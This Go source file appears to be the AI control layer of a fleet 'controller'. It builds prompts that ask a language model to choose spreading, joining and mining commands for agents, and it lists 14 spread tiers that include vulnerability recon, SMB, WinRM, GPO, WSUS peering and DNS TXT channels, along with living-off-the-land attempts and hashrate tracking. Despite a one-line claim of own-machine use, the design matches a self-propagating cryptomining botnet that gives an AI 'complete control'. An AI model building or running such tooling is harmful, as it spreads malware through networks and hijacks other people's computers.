package ai import ( "encoding/json" "fmt" "strings" ) // DefaultSpreadTiers returns the 14 spread onion tiers for prompt context. func DefaultSpreadTiers() []string { return append([]string(nil), defaultSpreadTiers...) } // Default spread onion tiers (14) for prompt context. var defaultSpreadTiers = []string{ "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", } // SystemPrompt returns the fleet AI system instructions. func SystemPrompt() string { return strings.TrimSpace(`You are the AetherForge fleet controller for the operator's own machines. Respond with short answers only. Prefer JSON: {"commands":[{"type":"noop","args":{}}]}. Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop. agent_command args: action (required), command, path, data. bulk_command args: agent_ids (array), action, command. reorder_tiers args: tier_order (array of strings), skip_tiers (optional array). stage_fetch args: data (JSON manifest string). set_agent_version args: module or build_id. You have complete control in AI mode. Never target third-party systems.`) } // BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle. func BuildMissionPrompt(s AgentSnapshot) string { return buildMissionPrompt(s) } // BuildUserPrompt is an alias for BuildMissionPrompt. func BuildUserPrompt(s AgentSnapshot) string { return buildMissionPrompt(s) } func buildMissionPrompt(s AgentSnapshot) string { var b strings.Builder fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID) if s.Worker != "" { fmt.Fprintf(&b, " worker=%s", s.Worker) } b.WriteString("\n") fmt.Fprintf(&b, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID) if len(s.Capabilities) > 0 { flags := make([]string, 0, len(s.Capabilities)) for k, v := range s.Capabilities { if v { flags = append(flags, k) } } if len(flags) > 0 { fmt.Fprintf(&b, "Forge capabilities: %s\n", strings.Join(flags, ", ")) } } fmt.Fprintf(&b, "LOTL tier: %s\n", emptyDash(s.LOTLTier)) fmt.Fprintf(&b, "Mining hashrate: %.2f H/s\n", s.MiningHashrate) if s.ActiveMethod != "" { fmt.Fprintf(&b, "Active method: %s\n", s.ActiveMethod) } if s.ChainExhausted { b.WriteString("Mining chain exhausted: true\n") } if len(s.ChainOrder) > 0 { fmt.Fprintf(&b, "Chain order: %s\n", strings.Join(s.ChainOrder, " → ")) } b.WriteString("LOTL attempts (all tiers):\n") attemptByTier := map[string]TierAttempt{} for _, a := range s.LOTLAttempts { attemptByTier[a.Tier] = a } for _, tier := range defaultSpreadTiers { if a, ok := attemptByTier[tier]; ok { status := "fail" if a.OK { status = "ok" } if a.Error != "" { fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error) } else { fmt.Fprintf(&b, " - %s: %s\n", tier, status) } } else { fmt.Fprintf(&b, " - %s: pending\n", tier) } } for _, a := range s.LOTLAttempts { if _, listed := attemptByTier[a.Tier]; listed { continue } found := false for _, t := range defaultSpreadTiers { if t == a.Tier { found = true break } } if !found { status := "fail" if a.OK { status = "ok" } fmt.Fprintf(&b, " - %s: %s\n", a.Tier, status) } } fmt.Fprintf(&b, "Join lane: %s\n", emptyDash(s.JoinLane)) fmt.Fprintf(&b, "Spread state: %s\n", emptyDash(s.SpreadState)) if s.VulnRisk != nil { fmt.Fprintf(&b, "Vuln risk score: %d\n", *s.VulnRisk) } else { b.WriteString("Vuln risk score: n/a\n") } if s.AdaptiveSummary != "" { fmt.Fprintf(&b, "Adaptive strategy summary: %s\n", s.AdaptiveSummary) } else if s.Adaptive != nil { if raw, err := json.Marshal(s.Adaptive); err == nil { fmt.Fprintf(&b, "Adaptive strategy: %s\n", string(raw)) } } b.WriteString("\nIf all 14 tiers failed and hashrate=0, you MAY force restart mining chain (restart_mining).\n") b.WriteString("Return JSON commands array for this agent only.\n") return b.String() } func firstNonEmpty(vals ...string) string { for _, v := range vals { if strings.TrimSpace(v) != "" { return strings.TrimSpace(v) } } return "unknown" } func emptyDash(s string) string { if strings.TrimSpace(s) == "" { return "—" } return strings.TrimSpace(s) }